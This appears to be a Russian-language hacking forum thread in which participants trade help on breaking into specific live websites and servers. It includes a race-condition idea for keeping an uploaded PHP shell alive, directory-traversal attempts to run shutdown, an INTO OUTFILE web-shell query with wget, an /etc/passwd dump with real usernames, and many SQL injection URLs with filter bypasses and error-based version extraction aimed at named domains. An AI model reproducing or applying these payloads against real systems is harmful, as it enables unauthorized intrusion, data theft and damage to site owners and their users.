Да, действительно верно, не обратил изначально внимание на сторону php В общем, чтобы запрос сработал, автору нужно в логин отправить \' и далее подставить сам запрос.
ребят,хелп в админке одной CMS есть такой аплоад файлов: Code: if ($input->p['do'] == "install") { if ($settings['demo'] == "yes") { $error_msg = "This is not possible in demo version"; } else { if ($input->p['sesion_id'] != $_SESSION['sesion_id']) { $error_msg = "Invalid token try again please"; } else { if ($_FILES['file']['type'] != "text/xml") { $error_msg = "Invalid File"; } else { if (0 < $_FILES['file']['error']) { $error_msg = "Invalid File"; } else { move_uploaded_file($_FILES['file']['tmp_name'], "../upload/" . $_FILES['file']['name']); $doc = new DOMDocument(); $doc->load("../upload/" . $_FILES['file']['name']); $langnames = $doc->getElementsByTagName("name"); $langname = $langnames->item(0)->nodeValue; $langversions = $doc->getElementsByTagName("ptcevolution"); $langversion = $langversions->item(0)->nodeValue; $langfiles = $doc->getElementsByTagName("filename"); $langfile = $langfiles->item(0)->nodeValue; if ((empty($$langname) || empty($$langversion)) || empty($$langfile)) { $error_msg = "Invalid File"; } else { if ($langversion != $software['version']) { $error_msg = $langname . " is not configured for PTCEvolution " . $software['version']; } else { $verifylang = $db->fetchOne(("SELECT COUNT(*) AS NUM FROM language WHERE name='" . $langname . "' and version='" . $software['version'] . "'")); if ($verifylang == 0) { $datastored = array("name" => $langname, "version" => $langversion, "filename" => $langfile); $insert = $db->insert("language", $datastored); $success_msg = $langname . " was sucessfully installed! <a href=\"./?view=language_settings\">Click here to manage installed languages</a>"; } else { $error_msg = $langname . " is already installed on this site."; } } } unlink("../upload/" . $_FILES['file']['name']); } } } } } то есть,если зайти под админом,подменить Content-type на text/xml и попробывать залить shell.php - он зальется в папку upload Code: move_uploaded_file($_FILES['file']['tmp_name'], "../upload/" . $_FILES['file']['name']); но тут же удалится Code: unlink("../upload/" . $_FILES['file']['name']); есть ли возможность задержать файл в папке /upload/ или же успеть выполнить код?
HeaVeNSeR может попробывать, написать скрипт который нонстоп будет лить шел на сервер, а ты в браузере нонстоп будешь дергать шелл. расскажешь потом получилось или нет)
Доброго времени суток, есть сайт с возможностью просмотреть файлы из виндоувс папки, (Directory traversal vuln) например: Code: ?action=../../../../../../../../../../windows/System.ini%00.jpg Вопрос можно ли выполнить запрос к командной строке? например послать команду выключения.. пробывал так: Code: action=../../../../../../../../../../windows/system32/cmd.exe-shutdown%20-t%200%00.jpg непомогло. помогите разобратся(
phpmyadmin Пускает в админку phpmyadmin под любым логином, но после выполнения SQL запроса выдает: Code: Ответ MySQL: Документация #1142 - SELECT command denied to user ''@'localhost' for table 'pma_bookmark' При этом средствами phpmaydmin я могу создавать в таблице ячейки, менять их значение. Как нибудь можно повысить себе привилегии или залить шелл? В ответ на Code: SELECT '<?php system($_REQUEST["wget http://yandex.ru/robots.txt -O /usr/www/site/wwwfiles/phpmyadmin/s.php"); ?>' FROM test INTO OUTFILE '/usr/www/site/wwwfiles/phpmyadmin/s.php' выдает: Code: Ответ MySQL: Документация #1045 - Access denied for user ''@'localhost' (using password: NO) Также есть уязвимость в phpmyadmin/export.php?what=sql, открывает sql.php в той же директории. Но при попытке выйти за пределы директории командой ../../../sql, открывает тот же файл. Две точки превращает в ./
врятли ты как-то права сможешь повысить, а чё, сменить пасс админки через phpmyadmin и залится ам - не вариант?
Я походу вообще без прав в phpmyadmin. information_schema даже читать не могу, изменения могу вносить только в таблицу test. Думал может можно через изменение этой таблицы что нибудь да залить)
С помощью LOAD DATA LOCAL INFILE '/etc/passwd' INTO TABLE test вывел содержимое в таблицу: Code: "# $FreeBSD: src/etc/master.passwd,v 1.40.22.1.4.1 2010/06/14 02:09:06 kensmith Exp $", "#", "root:*:0:0:Charlie &:/root:/bin/csh", "toor:*:0:0:Bourne-again Superuser:/root:", "daemon:*:1:1:Owner of many system processes:/root:/usr/sbin/nologin", "operator:*:2:5:System &:/:/usr/sbin/nologin", "bin:*:3:7:Binaries Commands and Source:/:/usr/sbin/nologin", "tty:*:4:65533:Tty Sandbox:/:/usr/sbin/nologin", "kmem:*:5:65533:KMem Sandbox:/:/usr/sbin/nologin", "games:*:7:13:Games pseudo-user:/usr/games:/usr/sbin/nologin", "news:*:8:8:News Subsystem:/:/usr/sbin/nologin", "man:*:9:9:Mister Man Pages:/usr/share/man:/usr/sbin/nologin", "sshd:*:22:22:Secure Shell Daemon:/var/empty:/usr/sbin/nologin", "smmsp:*:25:25:Sendmail Submission User:/var/spool/clientmqueue:/usr/sbin/nologin", "mailnull:*:26:26:Sendmail Default User:/var/spool/mqueue:/usr/sbin/nologin", "bind:*:53:53:Bind Sandbox:/:/usr/sbin/nologin", "proxy:*:62:62:Packet Filter pseudo-user:/nonexistent:/usr/sbin/nologin", "_pflogd:*:64:64:pflogd privsep user:/var/empty:/usr/sbin/nologin", "_dhcp:*:65:65:dhcp programs:/var/empty:/usr/sbin/nologin", "uucp:*:66:66:UUCP pseudo-user:/var/spool/uucppublic:/usr/local/libexec/uucp/uucico", "pop:*:68:6:Post Office Owner:/nonexistent:/usr/sbin/nologin", "www:*:80:80:World Wide Web Owner:/nonexistent:/usr/sbin/nologin", "nobody:*:65534:65534:Unprivileged user:/nonexistent:/usr/sbin/nologin", "zeus:*:1001:0:User &:/home/zeus:/bin/csh", "mysql:*:1002:1001:User &:/home/mysql:/bin/sh", "foux:*:1003:1003:User &:/home/foux:/bin/sh", "freeradius:*:1004:1004:User &:/home/freeradius:/bin/sh", "natusik:*:1005:1005:User &:/usr/www/natusik:/bin/csh", "roman:*:1006:1006:User &:/usr/www/romankom.ru:/bin/csh", "roman1:*:1007:1007:User &:/usr/www/kisika.ru:/bin/csh", "misha:*:1008:0:Mihail Tihomirov:/home/misha:/bin/csh", Собственно вопрос, где искать пароли? * означает любой пароль? И что я смогу сделать дальше, ftp порт закрыт, mysql порт открыт но не дает соединиться с моего IP. В config.inc.php в папке \phpmyadmin\: Code: "$cfg['Servers'][$i]['host'] = 'localhost'; // MySQL hostname or IP address", "$cfg['Servers'][$i]['port'] = ''; // MySQL port - leave blank for default port", "$cfg['Servers'][$i]['socket'] = ''; // Path to the socket - leave blank for default socket", "$cfg['Servers'][$i]['connect_type'] = 'tcp'; // How to connect to MySQL server ('tcp' or 'socket')", "$cfg['Servers'][$i]['extension'] = 'mysql'; // The php MySQL extension to use ('mysql' or 'mysqli')", "$cfg['Servers'][$i]['compress'] = FALSE; // Use compressed protocol for the MySQL connection", " // (requires PHP >= 4.3.0)", "$cfg['Servers'][$i]['controluser'] = ''; // MySQL control user settings", " // (this user must have read-only", "$cfg['Servers'][$i]['controlpass'] = ''; // access to the ""mysql/user""", " // and ""mysql/db"" tables).", " // The controluser is also", " // used for all relational", " // features (pmadb)", "$cfg['Servers'][$i]['auth_type'] = 'http'; // Authentication method (config, http or cookie based)?", "$cfg['Servers'][$i]['user'] = 'root'; // MySQL user", "$cfg['Servers'][$i]['password'] = ''; // MySQL password (only needed", " // with 'config' auth_type)",
Итак, что у нас фильтруется: 1) Скобки; 2) Знак равенства; 3) Выполнение кода в комментариях /*! */ (хотя тут не совсем так) 4) && Не фильтрует and, or Легитимные запросы http://www.radioaliancadafe.com/home.php?opradio=Pr.Patrick&d=Interna&Key=20'+||+1%3E1+--+ http://www.radioaliancadafe.com/home.php?opradio=Pr.Patrick&d=Interna&Key=20'+and+2%3E1+--+ Копаю дальше.
Что касается Вашего первого поста. Фильтр на связку union select можно обойти следующим способом: Но до раскрутки еще далеко, вырезаюся запятые. Данный фильтр обходится созданием таблицы с помощью join: Но далее видим, что фильтруются парные скобки (), так что ничего полезного взять с этого с сайта не получится.
Не выкручивается, хоть ты тресни Code: http://www.bch5.ru/index.phtml?topparam=20&cat=40&scat=-403+and+1=0+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43+--+
Тут блайнд везде. Вывод тоже не смог добиться http://www.bch5.ru/index.phtml?topparam=22&prod_id=16264+and+1=2+union+select+111,222,333+--+ http://www.bch5.ru/index.phtml?topparam=20&scat=404&cat=40+and+1=1+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43+--+
Code: http://www.bch5.ru/index.phtml?topparam=20&cat=40&scat=403%20and%20(1,1)%3E(select%20count(*),concat((select%20version()%20),0x3a,floor(rand()*2))%20x%20from%20(select%201%20union%20select%202)%20a%20group%20by%20x%20limit%201)%23 Duplicate entry '4.1.25-log:0' - самая калечная версия
hostgator.com Как вариант -> http://www.radioaliancadafe.com/home.php?opradio=Pr.Patrick&d=Interna&Key=-20'+union/*!12345+select*/1/*!12345,*/2/*!12345,*/3/*!12345,*/@@version/*!12345,*/5/*!12345,*/6--+ -- http://www.bch5.ru эрорбейс не самый удобный способ, лучше нормальный вывод: http://www.bch5.ru/index.phtml?topparam=20&cat=40&scat=403 UNION SELECT 13717,2,3,4,5,6,7,8,9,version(),11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43 limit 1,1--+1